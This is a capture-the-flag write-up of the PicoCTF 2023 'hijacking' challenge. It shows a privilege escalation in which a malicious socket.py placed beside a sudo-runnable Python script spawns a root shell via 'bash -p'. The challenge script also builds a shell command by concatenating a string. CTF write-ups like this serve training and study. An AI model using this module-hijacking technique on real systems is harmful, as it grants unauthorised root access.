🇬🇧 PicoCTF 2023 - binexp/hijacking
Note
Hijacking was a binary exploitation challenge from PicoCTF 2023.
It was interesting and I always enjoy these privilege escalation exploits. They are very common in HackTheBox and TryHackMe boxes, so it’s useful to know about them.
Description
Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with.
Through Social engineering, we've got the credentials to use on the server.
SSH is running on the server.
[Login creds]
Recon
Once we’re connected to the machine, we can start looking for privilege escalation vectors.
The first command I usually run is sudo -l
to list the authorized sudo
commands for the user. Let’s try that on the machine:
picoctf@challenge:~$ sudo -l
Matching Defaults entries for picoctf on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
We can see we have access to vim
and python3 .server.py
. Let’s try to run the python file:
python3 .server.py
sh: 1: ping: not found
Traceback (most recent call last):
File ".server.py", line 7, in <module>
host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname
Library Hijacking
There seems to be an error with the script, it also seems it is using the socket
library. Since we have access to the vim
command, we hijack the socket library and execute malicious python code with sudo privileges (since we can run the command with sudo)
Le’s first take a look at the code to make sure the library is actually imported:
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)
Alright, it is importing three libraries, but we’ll focus on the socket
lib since it’s the one causing the error.
The script is calling the gethostbyaddr
method from socket
. If we hijack the library and replace this function with our own code, we should be able to read the flag file.
When using
import
in python, the script will first look for the library you want to import in the current working directory and then in the libraries directory.
By creating a socket.py
file in the same directory as the .server.py
, it should import our malicious script instead of the actual library.
In the socket.py
file, we can use this script that will create a new shell instance with the sudo privileges:
import os
def gethostbyaddr(_):
os.system("bash -p")
return
Since the function is called with an argument, we have to define it with a parameter. We use the os
library to execute the bash -p
command, thus creating a new shell keeping the privileges the script was executed with (thanks to the -p
).
Now, we only need to run the .server.py
with sudo
privileges and get the flag:
GGs !